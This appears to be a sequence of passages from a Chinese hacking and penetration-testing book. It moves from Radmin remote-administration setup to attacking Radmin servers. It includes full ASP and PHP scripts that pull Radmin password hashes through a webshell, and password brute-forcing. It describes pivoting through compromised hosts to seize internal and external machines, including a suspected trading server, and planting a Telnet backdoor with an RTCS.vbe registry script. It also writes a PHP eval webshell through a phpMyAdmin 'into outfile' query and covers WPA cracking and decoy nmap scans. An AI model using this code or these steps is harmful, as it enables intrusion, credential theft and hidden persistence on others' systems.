    {"text": "图1-157 Radmin Server设置主窗口 02 输入注册码 在设置主窗口中单击“Enter license”按钮，在弹出的“License Code”对话框中输入注册码，否则在30天试用期结束后，客户端将无法连接服务端，需要输入正确的注册码后才能使用，如图1-158所示。 图1-158 输入注册码 03 设置Radmin Server选项（Options） 在主窗口中单击“Options…”按钮，会打开一个选项设置窗口，如图1-159所示。"},
    {"text": "在该窗口中，有“General”（普通）、“Miscellaneous”、“IP Filter”（IP地址过滤）、“Language”（语言）、“Chat Options”（聊天选项）和“Voice Chat Options”（语音聊天选项）六大功能。"},
    {"text": "图1-159 设置选项主窗口 （1）普通设置 在普通设置中，有“Port”（端口）、“Tray icon”（托盘图标）、“Incoming connection dialog”（连接对话框）和“Logging”（日志）四大选项。"},
    {"text": "Radmin Server的默认端口为“4899”，如果需要更改该端口为自定义的未使用端口，可以取消勾选“Use default port”，同时在下面的输入框中输入自定义的端口号。"},
    {"text": "“Incoming connection dialog”选项主要用于设置用户访问许可，有两种方式供用户选择，一种是访问超时后自动拒绝访问，另一种是超时后自动允许访问，默认为第一种方式。"},
    {"text": "在默认情况下，日志记录文件为C:\\WINDOWS\\system32\\rserver30\\Radm_log.htm，用户可以根据实际情况重新设定记录日志文件的位置及名称。 日志设置完毕后，客户端连接或者服务端启动等信息都会详细记录在Radm_log.htm文件中。"},
    {"text": "图1-160 日志详细记录 （2）“Miscellaneous”设置 “Miscellaneous”设置非常有用，如图1-161所示，需要禁用哪个功能，就选中该功能前的复选框即可。"},
    {"text": "图1-161 Miscellaneous设置 • Disable Remote Screen Control：禁用远程屏幕控制功能，即禁用完全控制功能。 • Disable Remote Screen View：禁用远程屏幕浏览功能。"},
    {"text": "• Disable Shutdown：禁用关闭计算机功能。 • Disable Text Chat：禁用文本聊天功能。 • Disable Audio Chat：禁用语音聊天功能。 • Disable Send Message：禁用发送消息功能。"},
    {"text": "如图1-162所示，在“IP Filter”设置中勾选“Enable IP Filter”复选框，接着单击“Add”按钮，添加允许的IP地址或者IP地址范围。 对于已经添加的IP地址或者范围，如果不再使用或者不再允许访问，只要选中后单击“Remove”按钮将其移除即可。"},
    {"text": "如图1-163所示，如果使用聊天功能，则可以设置服务端聊天显示的昵称，在“Nick name”文本框中输入昵称即可，默认昵称是“user”，在“User information”文本框中可以填写简单的用户介绍。"},
    {"text": "在Radmin中，还可以对聊天界面的外观进行设置，如图1-164所示，可以设置聊天文字样式等。 图1-163 聊天设置 图1-164 设置聊天界面外观 在“Additional”（附加）选项中，可以设置是否显示自己的昵称，每一条消息发送的时间戳，对聊天发起方连接及断开的确认，是否允许使用特殊的命令，以及是否记录聊天日志等，如图1-165所示。 图1-165 聊天附加选项设置 （6）语音聊天设置 语音聊天设置与聊天设置类似，如图1-166所示，唯一不同的是需要设置声卡设备。 图1-166 语音聊天设置 04 安全许可设置 Radmin中的“Permissions”是最重要的设置之一。"},
    {"text": "如图1-168所示，单击“Add User”按钮添加一个用户后，再进行详细设置。 如果是完全访问，则勾选“All Access”复选框即可，否则应根据实际需要进行选择。"},
    {"text": "（2）“Windows NT Security”安全模式 选择“Windows NT Security”设置后，将按照Windows用户域模式进行安全管理。 如图1-169所示，单击“添加”按钮，从Windows用户管理器中添加一个用户，然后在“Administrators的权限”设置区中进行设置。 使用“Windows NT Security”安全模式时，可以结合Windows文件权限管理进行更加细致的设置，即可以授予用户特别的权限。 图1-169 Windows NT Security设置 1.16.3 Radmin的使用 打开“Radmin Viewer”窗口，如图1-170所示，该界面是Radmin客户端管理主界面，对Radmin服务端的所有操作都能在这个界面中完成。 图1-170 Radmin客户端管理主界面 “Radmin Viewer”窗口有一个英文菜单和工具栏，工具栏中各按钮的功能依次为连接一个地址、新建一个连接、删除连接地址、查看地址属性、屏幕完全控制、屏幕浏览、Telnet、文件传输、关闭计算机、聊天、语音聊天、发送消息、选择图标浏览方式、以文件夹方式浏览、查看在线计算机。 在Radmin Viewer中是通过IP地址来进行管理的。 1．新建连接 在“Radmin Viewer”窗口依次单击“Connection”→“New Connection”选项，或者在工具栏中单击第二个图标，即可在Radmin客户端中打开新建连接窗口。 如图1-171所示，在“IP address or DNS”文本框中输入IP地址或者DNS地址，“Name of entry”文本框中显示的是在“Radmin Viewer”窗口中显示的名称，如果是新建连接，不需要输入该名称，默认是IP地址的名称。"},
    {"text": "图1-171 新建一个连接 2．Telnet连接服务端 在Radmin客户端管理界面中，选中刚才新建的IP地址192.168.209.130，然后单击右键，在弹出的快捷菜单中选择“Telnet”选项。"},
    {"text": "图1-174 使用Telnet 3．文件传输 文件传输，顾名思义，就是文件的上传与下载。 Radmin文件传输的使用方式与Telnet方式类似，打开后的初始界面如图1-175所示，单击其中的盘符即可像资源管理器一样浏览文件，文件传输的目的地必须是具体的磁盘。"},
    {"text": "图1-175 文件传输 4．远程屏幕监控 远程屏幕监控，换句话说就是完全控制服务端计算机。 单击工具栏上的第五个图标，或者依次单击“Mode”→“Full Control”选项，即可使用远程屏幕监控。"},
    {"text": "当使用屏幕控制后，在Radmin主窗口中即可对服务端（被控制计算机）进行各种操作，就像在本地操作计算机一样。 图1-176 远程屏幕监控 5．聊天与发送短消息 相对Radmin强大的控制功能来说，其聊天与发送短消息功能就像是赠品，方便管理员进行管理与交流。"},
    {"text": "图1-177 通过Radmin进行聊天 图1-178 发送和接受短消息 6．Intel AMT技术 在Radmin 3.2及后续版本提供了Intel AMT技术，声称可以实现冷启动、BIOS远程控制和网络启动。"},
    {"text": "1.16.4 Radmin口令暴力攻击 网上基本找不到有关Radmin口令暴力的工具，笔者在国外论坛查阅资料时偶然得到了一款有关该软件口令破解的工具。 1．Radmin破解文件分析 （1）文件组成 图1-180 Radmin破解程序密码字典 该暴力破解软件共有4个文件，分别是password.txt、radmin.exe、radmin.nfo、radmincracker.exe。 password.txt为密码字典文件，该文件可以手动修改，每一个密码为单独一行，使用“记事本”程序打开后，如图1-180所示，其中包含5个密码，第一个密码为空，后面的密码依次是“radmin”、“password”、“letmein”和“admin”，该密码文件即Radmin服务端的连接密码。"},
    {"text": "（2）Radmin口令破解命令格式 使用UltraEdit软件直接编辑radmincracker.exe，使用二进制格式查看，radmincracker.exe的命令格式为“radmincracker.exe ip ip ip”，如图1-181所示。 在DOS提示符下输入“radmincracker.exe”并运行，也会提示其命令格式。 图1-181 获取Radmin破解程序的具体运行命令 （3）测试环境的搭建 在虚拟机中建立两个Windows XP操作系统（A系统和B系统），在A系统中安装Radmin 2.2，在B系统中将Radmin口令破解软件放到“Tools”文件夹中。"},
    {"text": "将sfind.exe复制到B系统中，使用“sfind-p 192.168.209.130”语句查看A系统中对外端口的开放情况，如果结果中未看到4899端口开放，可能有两个原因：一是被防火墙拦截；"},
    {"text": "可以关闭Windows防火墙或者在防火墙例外列表中添加4899端口为允许端口，然后重启A系统或者在命令提示符下使用“net start r_server”命令启动Radmin服务端。"},
    {"text": "在DOS提示符下会给出IP地址和密码的列表，当找到匹配的密码后会给出结果，在本例中显示的结果为“192.168.209.130: password successfully opened”。"},
    {"text": "破解成功后，破解程序会自动Telnet被破解的Radmin服务端，也就是说，Radmin客户端是通过Telnet方式连接的。 图1-182 口令破解测试 3．破解后续处理以及技巧 Radmincracker破解程序在破解Radmin密码成功后会自动在当前文件夹下生成一个TXT文件，文件以被破解的IP地址命名，如图1-183所示，在该文件中显示格式为“IP地址：密码”。 图1-183 破解结果文件 Radmin破解技巧 （1）radmincracker.exe破解程序在破解时占用系统资源较多，因此，在破解时密码字典不宜太大，每一次破解密码字典以小于100kb为佳。"},
    {"text": "1．利用Radmin提权 很多Web服务器为了管理方便，都会安装一些远程控制软件进行系统和应用程序的维护。 当我们通过SQL注入等方式获得WebShell后，一旦发现系统安装了Radmin软件，那么一个比较快捷的方法就是获取Radmin的Hash值和端口等信息，然后通过Radmin_hash客户端连接工具直接连接，从而达到提权的目地。"},
    {"text": "在Radmin 2.X中，其参数设置信息均保存在注册表“HKEY_LOCAL_MACHINE\\SYSTEM\\ RAdmin\\v2.0\\Server\\Parameters”键值下，如图1-184所示。 图1-184 Radmin 2.X版本参数注册表中保存位置 “Parameter”是默认密码保存值，“Port”是默认端口保存值。"},
    {"text": "• Radmin安全密码信息的保存位置：HKEY_LOCAL_MACHINE\\SOFTWARE\\Radmin\\v3.0\\ Server\\Parameters\\RadminSecurity \\1。 • Radmin安全密码信息的保存位置：HKEY_LOCAL_MACHINE\\SOFTWARE\\Radmin\\v3.0\\ Server\\Parameters\\NtUsers。"},
    {"text": "<% Set WSH= Server.CreateObject(\"WSCRIPT.SHELL\") RadminPath=\"HKEY_LOCAL_MACHINE\\SYSTEM\\RAdmin\\v2.0\\Server\\Parameters\\\" Parameter=\"Parameter\" Port = \"Port\" path=\"LogFilePath\" ParameterArray=WSH.REGREAD(RadminPath & Parameter ) Response.write \"The Result of Radmin Hash\" Response.write \"</br>\" Response.write \"\" Response.write Parameter&\":\" If IsArray(ParameterArray) Then For i = 0 To UBound(ParameterArray) If Len (hex(ParameterArray(i)))=1 Then strObj = strObj & \"0\" & CStr(Hex(ParameterArray(i))) Else strObj = strObj & Hex(ParameterArray(i)) End If Next response.write Lcase(strobj) Response.write \"</br>\" Else response.write \"Error! Can't Read!\" End If Response.write \"\" IF Port<>\"\" then PortArray=WSH.REGREAD(RadminPath & Port ) If IsArray(PortArray) Then Response.write Port &\":\" Response.write hextointer(CStr(Hex(PortArray(1)))&CStr(Hex(PortArray(0)))) Response.write \"<br>\" Else Response.write \"Error! Can't Read!\" End If else Response.write \"Port is defualt 4899!\" end if Rpath=WSH.REGREAD(RadminPath & path ) Response.write\"日志文件存储地址位：\" Response.write Rpath Response.write \"<br>\" Function hextointer(strin) Dim i, j, k, result result = 0 For i = 1 To Len(strin) If Mid(strin, i, 1) = \"f\" or Mid(strin, i, 1) =\"F\" Then j = 15 End If If Mid(strin, i, 1) = \"e\" or Mid(strin, i, 1) = \"E\" Then j = 14 End If If Mid(strin, i, 1) = \"d\" or Mid(strin, i, 1) = \"D\" Then j = 13 End If If Mid(strin, i, 1) = \"c\" or Mid(strin, i, 1) = \"C\" Then j = 12 End If If Mid(strin, i, 1) = \"b\" or Mid(strin, i, 1) = \"B\" Then j = 11 End If If Mid(strin, i, 1) = \"a\" or Mid(strin, i, 1) = \"A\" Then j = 10 End If If Mid(strin, i, 1) <= \"9\" And Mid(strin, i, 1) >= \"0\" Then j = CInt(Mid(strin, i, 1)) End If For k = 1 To Len(strin) - i j = j * 16 Next result = result + j Next hextointer = result End Function %> 直接访问该文件，即可读取Radmin的有关信息，如图1-185所示，获取了如下信息。"},
    {"text": "（2）通过radmin.php获取 服务器可能会使用PHP脚本语言，那么使用radmin.asp文件就无法读取其相关信息了。 这时要想读取Radmin的信息，只要将以下代码保存为radmin.php文件即可，方法与保存radmin.asp文件类似，效果如图1-186所示。 图1-186 通过radmin.php获取Radmin参数值 <?php $shell = new COM(\"WScript.Shell\") or die(\"This thing requires Windows Scripting Host\"); $rootkey = \"HKEY_LOCAL_MACHINE\\\\SYSTEM\\RAdmin\\\\v2.0\\\\Server\\\\Parameters\\\\\"; $Parameter = \"Parameter\"; $Port = \"Port\"; $logpath = \"LogFilePath\"; $myparam = $shell->RegRead($rootkey.$Parameter); $myport = $shell->RegRead($rootkey.$Port); $path = $shell->RegRead($rootkey.$logpath); echo \"radmin hash is:\"; foreach($myparam as $a){ echo dechex($a); } echo \"<br>\"; echo \"radmin port is :\".hexdec(dechex($myport[1]).dechex($myport[0])).\"<br>\"; echo \"radmin log path is:$path<br>\"; echo \"please clean the log\" ?> 注意 （1）在使用radmin.asp或者radmin.php文件读取服务器中的Radmin参数信息时，有可能会由于权限问题而无法读取。 （2）radmin.asp和radmin.php文件只能用于读取Radmin服务端3.0以下版本，对于Radmin 3.0以上版本的读取无能为力。"},
    {"text": "Radmin 3.X系列是对Radmin 2.X系列的完全升级，注册表、安装程序位置及名称都进行了调整，在同一个系统中，可以同时安装Radmin 2.X和Radmin 3.X。"},
    {"text": "在Radmin 3.X中，其加密方式已经进行了变更，在Ntusers键值下的“1”中保存的值是80位，而在Radmin Security中其数值数据位数更多，达到1 170位，猜测其密码位数为1 024，而多余的位数则可能是用户名称等信息保存的位数。"},
    {"text": "3．使用Radmin-hash连接工具 使用Radmin-hash工具相对就简单多了，将上面获取的Radmin 32位Hash值、IP地址和端口记下，打开Radmin-hash，新建一个IP地址连接，然后像使用正常的Radmin客户端管理器一样进行操作，如图1-188所示，输入获取的32位Hash值，密码验证通过后即可使用Telnet、屏幕监控及文件传输，如图1-189所示。 图1-188 使用Radmin-hash连接工具连接服务端 图1-189 通过Radmin-hash客户端管理服务端 1.16.6 利用Radmin口令进行内网渗透控制 Radmin作为一款强大的远程控制软件，深受管理员喜爱。"},
    {"text": "1．查看肉机上的Radmin客户端 在Radmin客户端中，如果需要连接服务端，则必须要建立一个连接，也就是需要一个IP地址和端口号，否则就不能使用。"},
    {"text": "图1-190 Radmin客户端中的服务端计算机 2．通过Radmin客户端建立连接 在Radmin客户端中新建一个连接，其IP地址设置为图1-191中的地址，端口选择其相应的端口。 例如，选择IP地址为“192.168.0.15”，根据肉机上的Radmin客户端的记录，该地址对应的端口（Port）为“5003”，然后选中“Connect through host”复选框，选择该肉机的Radmin地址。 该IP地址（肉机的IP地址）将作为内外网连接的桥梁，如果内网的计算机安装了Radmin服务端，只要拥有该内网计算机的Radmin控制口令，即可实施全面控制。 图1-191 通过肉机端的Radmin地址连接内网 3．尝试建立连接 按照以上步骤，依次为肉机Radmin客户端中的内网Radmin服务端计算机创建连接，然后依次选择内网计算机进行连接尝试。 在本例中，选择IP地址为“192.168.0.11”的计算机，在Radmin客户端中选择“屏幕查看”选项，双击进行连接。 输入肉机的Radmin控制口令尝试连接，如果内网计算机安装了Radmin服务端，则需要输入密码2次，一次为肉机的Radmin的口令，一次是内网计算机的Radmin口令，输入正确的口令后，才可以执行相应的操作。"},
    {"text": "在本例中，可以看到该内网计算机为监控计算机，如图1-192所示。 图1-192 连接内网计算机 4．通过Telnet查看IP地址 在本例中，肉机有外网IP地址，也有内网IP地址，其内网IP地址为192.168.0.105，当通过肉机连接内网的计算机时，在内网计算机上显示的网络连接为内网的IP地址。 “192.168.0.102”为内网中的一台计算机，该计算机上的Radmin服务端开放的端口为5000，在本地Radmin客户端选择“Telnet”选项，然后双击“192.168.0.102”选项，输入密码，进入Telnet管理界面，输入“netstat-an”命令查看网络连接，如图1-193所示，该网络连接中显示的Radmin连接为内网连接。 图1-193 查看网络连接 5．再次实施内网渗透攻击 通过上面的步骤和获取的信息，我们成功测试了2台内网计算机。"},
    {"text": "6．小结 本案例通过查看已经控制的肉机的Radmin客户端，对其内网的Radmin服务端进行口令尝试攻击，使用肉机的Radmin口令登录内网计算机上的Radmin服务端，一旦口令正确，则可以完全控制该内网计算机。"},
    {"text": "1.16.7 利用Radmin口令进行外网渗透控制 利用Radmin口令除了可以进行内网渗透，还可以进行外网渗透，其原理与内网渗透类似，下面通过实际操作进行讲解。"},
    {"text": "1．查看肉机上的Radmin客户端 依次单击“开始”→“程序”→“Remote Administrator v2.2”→“Radmin Viewer”选项，打开Radmin客户端，在其中可以看到一个“187”标签。 选择“187”标签，可以在Radmin客户端界面底部看到其对应的IP地址为“*.*.＊182”，端口号为“2100”，控制模式为“Full Control”。 2．通过Radmin客户端建立连接并查看远端屏幕 在本地Radmin客户端中新建一个连接，其IP地址设置为“*.*.*182”，端口为2100。 在Radmin客户端中选择“屏幕监视”选项，输入得到的密码进行尝试，密码验证成功后，即可进入屏幕监视状态，查看远端计算机的屏幕了。 3．查看IP地址 在本地Radmin客户端中选中刚才的IP地址，选择“Telnet”选项，进入Telnet操作模式，输入“IPconfig/all”命令查看该计算机的网络配置情况，该计算机的IP地址为独立外网IP地址。 技巧 在Radmin客户端连接状态下，如果是Radmin 3.0及其以上版本，可以直接通过工具条上的小图标进行功能的切换，不需要每次输入Radmin控制密码。"},
    {"text": "图1-194 查看外网情况 5．再次实施外网渗透攻击 再次利用前面的步骤和获取的信息，依次查看网络中开放2100端口的计算机，用已经获取的Radmin口令测试该网络中的外网计算机，成功控制了3台计算机，其中一台为服务器，且疑似为交易服务器，如图1-195所示。 图1-195 再次实施内网渗透攻击 6．小结 本例通过查看已经控制的肉机的Radmin客户端，获取其管理员管理其他计算机时所用的Radmin服务端IP地址和端口，并通过获取的Radmin口令对管理员管理的Radmin服务端进行口令尝试攻击，口令正确率在50％左右（即使不正确，还可以通过键盘记录等手段嗅探或者记录管理员在计算机上的操作，从而获取更多的口令和控制更多的外网计算机）。"},
    {"text": "分时系统允许多个用户同时使用一台计算机，为了保证系统的安全和记账方便，系统要求每个用户有单独的账号作为登录标识，并为每个用户指定了一个口令。"},
    {"text": "使用Telnet协议进行远程登录时，需要满足以下条件：在本地计算机上必须装有包含Telnet协议的客户程序； 必须知道远程主机的IP地址或域名； 必须知道登录标识与口令。"},
    {"text": "01 本地与远程主机建立连接。 该过程实际上是建立一个TCP连接，用户必须知道远程主机的IP地址或域名。 02 将本地终端上输入的用户名和口令及以后输入的任何命令或字符以NVT（Net Virtual Terminal）格式传送到远程主机。 该过程实际上是从本地主机向远程主机发送一个IP数据报。 03 将远程主机输出的NVT格式的数据转换为本地所接受的格式送回本地终端，包括输入命令回显和命令执行结果。 04 本地终端对远程主机进行撤销连接操作。"},
    {"text": "Windows 2000及后续的Windows版本都自带Telnet客户机和服务器程序，telnet.exe是客户机程序（Client），tlntsvr.exe是服务器程序（Server），同时，提供Telnet服务器管理程序tlntadmn.exe。"},
    {"text": "下面就介绍如何操作Telnet服务及修改注册表的值，以及如何在远程服务器上留后门和做跳板。 1.17.1 设置并启动Telnet服务 在DOS提示符下运行“services.msc”命令，打开服务管理器，找到“Telnet”服务后双击打开，如图1-197所示。 单击“启动”按钮启动“Telnet”服务，并更改该服务的启动类型为“自动”。 图1-197 设置Telnet服务 1.17.2 使用Telnet客户端登录远程服务器 在DOS提示符下使用“telnet 218.*.*.*”命令登录远程Telnet服务器，由于在服务器端没有修改注册表中的NTLM值，因此会出现登录失败的提示，如图1-198所示。 图1-198 登录远程Telnet服务器 说明 （1）NTLM身份验证选项，默认值是2。"},
    {"text": "（4）NTLM的工作流程为：客户端首先在本地加密当前用户的密码成为密码散列，然后客户端向服务器明文发送自己的账号，服务器产生一个16位的随机数字，并将其作为challenge（挑战）发送给客户端；"},
    {"text": "1.17.3 使用Telnet服务器管理程序更改设置 在肉机上输入“tlntadmn”命令，如图1-199所示，然后输入数字“3”，选择“显示/更改注册表设置”选项。"},
    {"text": "（2）在Windows XP中，不能使用Telnet服务器管理程序直接进行管理，只能通过命令行的方式进行管理，输入“tlntadmn/?”可以查看其详细帮助信息。"},
    {"text": "技巧 （1）在已经控制对方计算机的情况下，特别是开启了远程终端的情况下，这种方式比较简便。 其实，还有其他两种方式，分别是使用opentelnet.exe（需要管理员权限且开启IPC管道）及使用RTCS脚本（需要管理员权限但不依赖IPC管道）。 （2）OpenTelnet的使用方式为“OpenTelnet.exe \\\\server username password NTLMAuthor telnetport”，其中“NTLMAuthor”（验证方式）的值为0或1。 （3）RTCS.vbe脚本的使用方式为“cscript RTCS.vbe targetIP username password NTLMAuthor telnetport”。"},
    {"text": "on error resume next set outstreem=wscript.stdout if (lcase(right(wscript.fullname,11))=\"wscript.exe\") then set objShell=wscript.createObject(\"wscript.shell\") objShell.Run(\"cmd.exe /k cscript //nologo \"&chr(34)&wscript.scriptfullname&chr(34)) wscript.quit end if if wscript.arguments.count<5 then usage() wscript.echo \"Not enough parameters.\" wscript.quit end if ipaddress=wscript.arguments(0) username=wscript.arguments(1) password=wscript.arguments(2) ntlm=wscript.arguments(3) port=wscript.arguments(4) if not isnumeric(ntlm) or ntlm<0 or ntlm>2 then usage() wscript.echo “The value of NTML is wrong.” wscript.quit end if if not isnumeric(port) then usage() wscript.echo “The value of port is wrong.” wscript.quit end if usage() outstreem.write “Conneting “&ipaddress&”….” set objlocator=createobject(”wbemscripting.swbemlocator”) set objswbemservices=objlocator.connectserver(ipaddress,”root/default”,username, password) showerror(err.number) outstreem.write “Setting NTLM=”&ntlm&”….” set objinstance=objswbemservices.get(”stdregprov”) set objmethod=objinstance.methods_(”SetDWORDvalue”) set objinparam=objmethod.inparameters.spawninstance_() objinparam.hdefkey=&h80000002 objinparam.ssubkeyname=”SOFTWARE\\Microsoft\\TelnetServer\\1.0〃 （4）通过Telnet服务器管理程序修改注册表的值后，需要重启计算机才能使修改生效。"},
    {"text": "1.17.4 登录远程Telnet服务器 使用“telnet ip”命令再次登录远程Telnet服务器，如图1-201所示，输入该IP地址的管理员的用户名和密码，验证通过后进入Telnet。 图1-201 登录远程Telnet服务器 说明 （1）成功登录Telnet后，在Telnet客户端中就可以像在本地DOS提示符下一样执行各种命令了，如图1-202所示为查看网络连接情况。 图1-202 查看网络连接情况 （2）使用多重Telnet可以达到隐藏自身IP地址的目的，也就是常说的代理功能，其过程为：先连入第1个Telnet服务器，然后在第1个Telnet服务器的基础上连入第2个Telnet服务器，再连入第 N 个Telnet服务器，这样就不容易被发现了。"},
    {"text": "（3）使用Telnet作为后门时，可以更改Telnet默认的23端口为其他端口，这样就更隐蔽了。 修改端口后，还可以更改Telnet的服务名称。 （4）目前，有的路由器的Telnet端口也已开放，如果知道其用户名和密码，将其作为跳板，效果非常好。"},
    {"text": "1.18 利用phpMyAdmin渗透某Linux服务器 在渗透主要目标未果的情况下，通过扫描和分析C段的服务器，发现一个服务器为测试服务器，该服务器上的源代码能够下载，但无法获取直接获取WebShell。 分析源代码，结合服务器上有phpMyAdmin，通过MySQL数据库的root用户权限导出一句话后门，成功拿到该网站的WebShell权限。 1.18.1 分析列目录文件和目录 使用NMap扫描软件扫描端口，发现服务器开放了80端口，能够正常访问，还开放了目录及文件浏览权限，如图1-203所示，故获取了源代码的压缩文件及phpMyAdmin管理程序。 图1-203 网站列目录漏洞 1.18.2 获取网站的真实路径 对该网站的所有文件逐个进行访问，在访问cacheConfig.php文件时出现错误提示信息，如图1-204所示。"},
    {"text": "依据该错误信息成功获取网站的真实路径“/usr/local/* * * *apache 2.2.11/htdocs/bbs/config”，通过该错误信息还可以知道该服务器使用的操作系统为Linux。"},
    {"text": "通过phpMyAdmin成功连接并进入后台管理界面，如图1-205所示，执行SQL语句“Select '<?php eval($_ POST[cmd]);?> ' into outfile '/usr/local/****/apache2.2.11/htdocs/bbs/config/1.php' ;”，将一句话木马写到刚才报错的路径下面。"},
    {"text": "图1-205 通过查询导出一句话后门 1.18.4 获取WebShell 通过phpMyAdmin的查询功能将一句话后门导出到网站后，还需要对该一句话后门的具体地址进行访问，以测试能否正常访问。"},
    {"text": "图1-207 将记录添加到“中国菜刀” 图1-208 成功获得WebShell 1.18.5 导出数据库 通过“中国菜刀”上传功能强大的WebShell，然后通过已经掌握的信息，成功地将目标网站的数据库导出到本地。"},
    {"text": "1.19 使用CDlinux无线破解系统轻松破解无线密码 CDlinux无线破解系统基于CDlinux 0.9x系列打包，使用minileaf的spring包无线模块，加入了minidwep-gtk、feedingbottle、inflator等无线工具，下载地址为http://cdlinux.net/forum-2-1 .html，可以使用VMware、USB设备和刻录光盘进行无线密码的破解。"},
    {"text": "1.19.1 准备工作 01 制作CDlinux启动盘 下载CDlinux无线破解系统镜像文件，然后使用光盘刻录软件以镜像方式刻录光盘。 02 准备无线网卡 某些版本的CDlinux无线破解系统可能无法识别无线网卡。"},
    {"text": "02 扫描 运行minidwep-gtk，如图1-209所示，会显示无线网卡列表，在“加密方式”下拉列表中可以选择“WEP”和“WPA/WPA2”两种加密方式进行扫描，在“方式选择”设置区选择相应的选项，选择完毕后，单击“扫描”按钮，开始扫描无线设备。 图1-209 扫描设置 03 选择需要破解的无线路由器 扫描结束后，会显示获取的无线路由器，如图1-210所示，随机选择一个信号较强的无线路由设备，然后单击“启动”按钮开始抓包。 在选择无线路由器时，可以通过手机查看无线网络，以选择网络信号较强的设备进行破解。 图1-210 选择需要破解的无线路由器 04 选择密码字典进行破解 在获取WPA握手包后才能进行破解，如图1-211所示，已经成功获取一个数据包。"},
    {"text": "图1-211 获取WPA握手包 图1-212 使用密码字典进行破解 1.19.3 破解保存的握手包文件 01 选择需要破解的握手包 在minidwep-gtk主界面单击“跑字典”按钮，软件会提示我们选择握手包文件。"},
    {"text": "图1-215 选择破解的MAC地址 图1-216 密码破解成功 1.20 NMap使用技巧及攻略 NMap是一款免费的开源网络发现（Network Discovery）和安全审计（Security Auditing）工具，软件名字“NMap”是“Network Mapper”的简称。"},
    {"text": "随后，在开源社区众多的志愿者参与下，该工具逐渐成为最为流行的必备安全工具之一，目前最新版本为nmap-6.47，下载地址为http://nmap.org/dist/nmap-6.47-setup.exe。"},
    {"text": "NMap是一个网络连接端扫描软件，主要用于扫描网上计算机开放的网络连接端，以确定哪些服务运行在哪些连接端，并推断计算机运行的是哪种操作系统（亦称“fingerprinting”）。 系统管理员可以利用NMap探测工作环境中未经批准而使用的服务器，而黑客会利用NMap获取目标计算机的网络设定，从而选择攻击的方法。"},
    {"text": "Zenmap是NMap官方提供的图形界面，通常随NMap的安装包发布。 Zenmap是用Python语言编写的免费开源图形界面，能够运行在不同的操作系统平台上（Windows/Linux/UNIX/Mac OS等）。 Zenmap旨在为NMap提供更加简单的操作方式，用户可以将常用的操作命令保存成为profile，扫描时选择已经保存的profile即可，还可以方便地比较不同的扫描结果。"},
    {"text": "1.20.1 安装与配置NMap NMap可以运行在大多数主流的计算机操作系统上，并且支持控制台和图形两种版本。 在Windows平台上，NMap能够运行在Windows 2000/2003/XP/Vista/7平台上，目前最新版本为6.47，官方下载地址为http://nmap.org/dist/nmap-6.47-setup.exe。 1．在Windows下安装NMap 下载nmap-6.47-setup.exe到本地计算机，双击运行该程序，按照默认设置安装。 完成安装后，依次选择“NMap”→“Zenmap GUI”选项，在Windows中可以是命令行界面，也可以是图形界面Zenmap，如图1-217所示。 图1-217 NMap图形操作界面 2．在Linux下安装NMap 基于RPM安装，示例如下。 rpm –vhU http://nmap.org/dist/nmap-6.47-1.i386.rpm 基于yum安装，示例如下。 yum install nmap 3．命令格式 NMap常见的命令格式如下。"},
    {"text": "nmap [Scan Type...] [Options] {target specification} nmap [ <扫描类型> ...] [ <选项> ] { <扫描目标说明> } NMap输出的是扫描目标的列表，以及每个目标的补充信息，至于是哪些信息，则依赖于所使用的选项。"},
    {"text": "“所感兴趣的端口表格”是其中的关键，该表列出了端口号、协议、服务名称和状态，状态可能是open（开放的）、filtered（被过滤的）、closed（关闭的）或者unfiltered（未被过滤的）。"},
    {"text": "例如，192.168.1.0/24将扫描192.168.10.0～192.168.10.255之间的256台主机，192.168.10.40/16将扫描192.168.0.0～192.168.255.255之间的65 536个IP地址，所允许的最小值是／1，最大值是／32。"},
    {"text": "5．主机发现（HOST DISCOVERY） （1）-sP（Ping扫描） Ping扫描选项告诉NMap仅进行Ping扫描（主机发现），然后打印出响应扫描的那些主机，不进行进一步的测试（如端口扫描或者操作系统探测）。"},
    {"text": "（2）-PS [portlist]（TCP SYN Ping） TCP SYN Ping选项发送一个设置了SYN标志位的空TCP报文，默认目的端口为80，可以通过改变nmap.h文件中的DEFAULT_TCP_PROBE_PORT值进行配置，但不同的端口也可以作为选项指定。"},
    {"text": "（4）-PU [portlist]（UDP Ping） 还有一个主机发现选项是UDP Ping，它发送一个空的（除非指定了“--data-length UDP”）报文到给定的端口，端口列表的格式和前面讨论过的“-PS”和“-PA”选项相同。"},
    {"text": "nmap -T4 -A -v 192.168.1.0/24 • Intense scan plus UDP：除了与Intense scan的功能外，还会扫描UDP端口，示例如下。 nmap -sS -sU -T4 -A -v 192.168.0.0/24 • Intense scan, all TCP ports：使用该选项将扫描所有的TCP端口，示例如下。 nmap -p 1-65535 -T4 -A -v 192.168.0.0/24 • Intense scan，no ping：假设主机都是存活的。"},
    {"text": "nmap -T4 -A -v -PN 192.168.0.0/24 • Ping scan：只进行Ping扫描，不进行端口扫描，示例如下。 nmap -sP -PE 192.168.0.0/24 • Quick scan。 nmap -T4 -F 192.168.0.0/24 • Quick scan plus。 nmap -sV -T4 -O -F 192.168.0.0/24 • Quick traceroute。 nmap -sP -PE --traceroute 192.168.0.0/24 • Regular scan。 nmap 192.168.0.0/24 • Slow comprehensive scan。"},
    {"text": "nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 –script “default or (discovery and safe)” 192.168.0.0/24 2．一个扫描实例 NMap Windows版本的Zenmap提供了多种扫描选项，可以对网络中被检测到的主机按照选择的扫描选项和显示节点进行探查。 01 设定扫描范围 如图1-218所示，在Zenmap中设置“Target”（扫描范围）为C段IP地址“106.37.181.1-254”。"},
    {"text": "03 开始扫描 单击“Scan”按钮开始扫描，扫描结果如图1-219所示，可以单击标签“Namp Output”、“Ports/Hosts”、“Topology”、“Host Details”、“Scans”进行查看。"},
    {"text": "如果条件允许，在验证时可以通过Zenmap的十大模板进行交叉扫描，有些扫描结果会显示主机不存在或者主机关闭，实际上该主机是存在的，只是在防火墙上设置了安全策略而无法被扫描。"},
    {"text": "例如，“-D ip1, ip2, ip3, ip4, ME”会使用多个虚假的IP地址同时对目标主机进行探测，其中“ME”代表本机的真实IP地址，这样对方的防火墙就不容易识别扫描者的身份，代码如下。"},
    {"text": "nmap -T4 -F -n –Pn somesite.com -D192.168.1.100,192.168.1.101,192.168.1.102, ME 192.168.1.1 3．查看本地路由与接口 通过命令“nmap-iflist”可以获取本地主机的接口信息与路由信息。 当遇到无法达到目标主机或者想在多块网卡中选择某一特定网卡访问目标主机时，可以运行该命令，查看提供的网络接口信息。"},
